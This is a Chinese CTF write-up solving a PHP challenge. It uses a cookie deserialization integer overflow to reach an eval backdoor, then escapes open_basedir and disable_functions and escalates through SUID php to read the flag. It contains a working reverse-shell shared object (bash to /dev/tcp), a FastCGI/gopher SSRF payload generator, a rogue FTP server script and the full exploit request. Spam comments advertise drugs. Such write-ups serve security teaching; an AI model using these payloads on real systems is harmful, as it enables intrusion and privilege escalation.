很有趣的一道PHP题

源码分析&信息收集

题目提供源码

拿到源码有两个文件

user.php

<?php
class User{
    public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
    $count[++$user->count]=1;
    if($count[]=1){
        $user->count+=1;
        setcookie("data",serialize($user));
    }else{
        eval($_GET["backdoor"]);
    }
}else{
    $user=new User;
    $user->count=1;
    setcookie("data",serialize($user));
}
?>

可以看到,user.php 有一个类,具有属性 count

然后在add_api.php 里有后门,但是要满足条件,如何满足条件呢
PHP里的数组索引必须是一个整型,例如arr[1] arr[100] 不能是 arr[105.4] 这种
但是在PHP中没有 int double 这种的变量定义,所以我们利用整型溢出
让count 的值为 PHP_INT_MAX:9223372036854775807
那么加一的时候 count就变成了浮点,那么是赋值语句错误,从而绕过if,但在这里
其实有两次加一,一是++自增,然后是 空下标索引,那么其实就是在数组后再添加一个新的
相当于最大的下标加一

$count[++$user->count]=1;
    if($count[]=1)

例如

<?php
$arr[0] = 0;
$arr[1] = 1;
$arr[2] = 2;
$arr[] = 9;
var_dump($arr);

结果为

array(4) {
 [0]=>
 int(0)
 [1]=>
 int(1)
 [2]=>
 int(2)
 [3]=>
 int(9)
}

所以我们的序列化的时候 count 为 922337203685477580-1
得到payload data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
抓包放在cookie里 然后看看phpinfo
发现大部分所有RCE的函数都被禁用
明显不能执行系统命令
先蚁剑练上去试试,可以写文件,没有读其他目录的权限,看一下原来是

open_basedir/var/www/html/var/www/html
绕过open_basedir 有很多方式
1. 在当前目录新建一个文件,由于在basedir下,那么可以进入这个文件,然后利用这个文件里存在的 .. 目录(即上层目录)不断返回
2. glob 绕过
<?php
  $a = "glob:///*";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>    
  1. 还有一种就是利用工具 这里推荐一个好用的 shell管理工具 Doughnuts . 利用doughnuts里的 bobd (bypass open_basedir) 模式可以直接在目录里游玩(doughnuts.cc)
    1

可以看到flag在根目录 需要root权限。
2

读一下 配置文件

##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        # SSL configuration
        #
        # listen 443 ssl default_server;
        # listen [::]:443 ssl default_server;
        #
        # Note: You should disable gzip for SSL traffic.
        # See: https://bugs.debian.org/773332
        #
        # Read up on ssl_ciphers to ensure a secure configuration.
        # See: https://bugs.debian.org/765782
        #
        # Self signed certs generated by the ssl-cert package
        # Don't use them in a production server!
        #
        # include snippets/snakeoil.conf;

        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.php index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }

        # pass PHP scripts to FastCGI server
        #
        location ~ \.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
    include        fastcgi_params;
    }

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        #       deny all;
        #}
}


# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
#server {
#       listen 80;
#       listen [::]:80;
#
#       server_name example.com;
#
#       root /var/www/example.com;
#       index index.html;
#
#       location / {
#               try_files $uri $uri/ =404;
#       }
#}

可以看到 FASTCGI在 9001 端口

非预期解法

Doughnuts-bdf

连上shell,使用bobd查看文件,使用bdf(bypass disable_function)绕过 suid提权
命令依次是

4

然后 priv 查看可提权文件 发现可以利用 php -r

输入 shell ,然后 先创建一个xxx 然后输入 php -r "chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');"
或者利用-n 的php 不加载配置文件 直接readfile读flag

AntSword 插件

在蚁剑里也有绕过的插件,首先我们先自己写个马 叫shell.php
在使用插件前要先将插件文件夹里的 payload.js 和php-fpm 里的 index.js 中的fsockopen 改为 pfsockopen 并且在 FASTCGI地址里添加 9001 端口,如下

//55行 in php_fpm/index.js
options: (() => {
    let vals = [
        'unix:///var/run/php5-fpm.sock',
        'unix:///var/run/php/php5-fpm.sock',
        'unix:///var/run/php-fpm/php5-fpm.sock',
        'unix:///var/run/php/php7-fpm.sock',
        '/var/run/php/php7.2-fpm.sock',
        '/usr/local/var/run/php7.3-fpm.sock',
        'localhost:9000',
        '127.0.0.1:9001',
    ];
// 230行 in php_fpm/index.js
$fp = @pfsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
//451 行 in payload.js
$fp = pfsockopen($host, $port, $errno, $errstr, $timeout);

5
加载插件绕过,会生成一个 .antproxy.php 的文件,再连接这个shell,密码和原来的一样,只是这是把流量转发到另一个端口(新起的一个php进程)这样就达到绕过disable_functiond的目的
然后这样新起的php进程是有root权限的,直接在蚁剑里到根目录读flag

非预期解法2 攻击FPM

依旧是利用FPM来绕过 disable_function 只不过打法是利用file_put_contents 结合ftp的SSRF来打

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1'");
}

在网上找到这个扩展,保存为1.c,在wsl里编译成so文件(方便蚁剑上传)

┌──(rigelx㉿Desktop_of_RX)-[~]
└─$ cd /mnt/c/Users/R1gelX/Desktop/
┌──(rigelx㉿Desktop_of_RX)-[/mnt/c/Users/R1gelX/Desktop]
└─$ gcc 1.c -fPIC -shared -o 1.so
┌──(rigelx㉿Desktop_of_RX)-[/mnt/c/Users/R1gelX/Desktop]
└─$

6

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        // 输出构造好的请求
        return (urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = 1.so\n";
$res = $client->request(
                      array(
                            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                            'REQUEST_METHOD' => 'POST',
                            'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
                            'SCRIPT_NAME' => $SCRIPT_NAME,
                            'REQUEST_URI' => $REQUEST_URI,
                            'PHP_ADMIN_VALUE'   => $PHP_ADMIN_VALUE,
                            'SERVER_SOFTWARE' => 'php/fastcgiclient',
                            'REMOTE_ADDR' => '127.0.0.1',
                            'REMOTE_PORT' => '9985',
                            'SERVER_ADDR' => '127.0.0.1',
                            'SERVER_PORT' => '80',
                            'SERVER_NAME' => 'localhost',
                            'SERVER_PROTOCOL' => 'HTTP/1.1',
                            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                            'CONTENT_LENGTH' => strlen($content),
                                   ),
                      $content
                      );
// 这次也不用二次编码了
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B", "+", ($res)));

运行得到payload

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A5%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F2PHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evil.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00

然后写一个ssrf.php

<?php
$file = $_GET['file'];
$data = $_GET['data'];
file_put_contents($file,$data);
?>

开一个ftp服务

import socket

host = '0.0.0.0'
port = 5000
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("300 \n")
print '300'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,0,9001\n")
print '200'
print conn.recv(20)

conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()

然后监听 5992 端口 发送payload

GET /ssrf.php?file=ftp://101.132.238.43:5000/aaa&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A2%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%2FPHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+1.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00 HTTP/1.1
Host:d6a5271d-2448-43f5-986d-0bb931618665.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

利用find查找有权限的 发现php具有权限,用 php -a 进入交互模式
chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
7

标签: none

已有 2 条评论

  1. Cabergoline 0.5 Mg Tab buy cialis online overnight shipping

  2. cialis interacciones medicamentosas discount cialis

添加新评论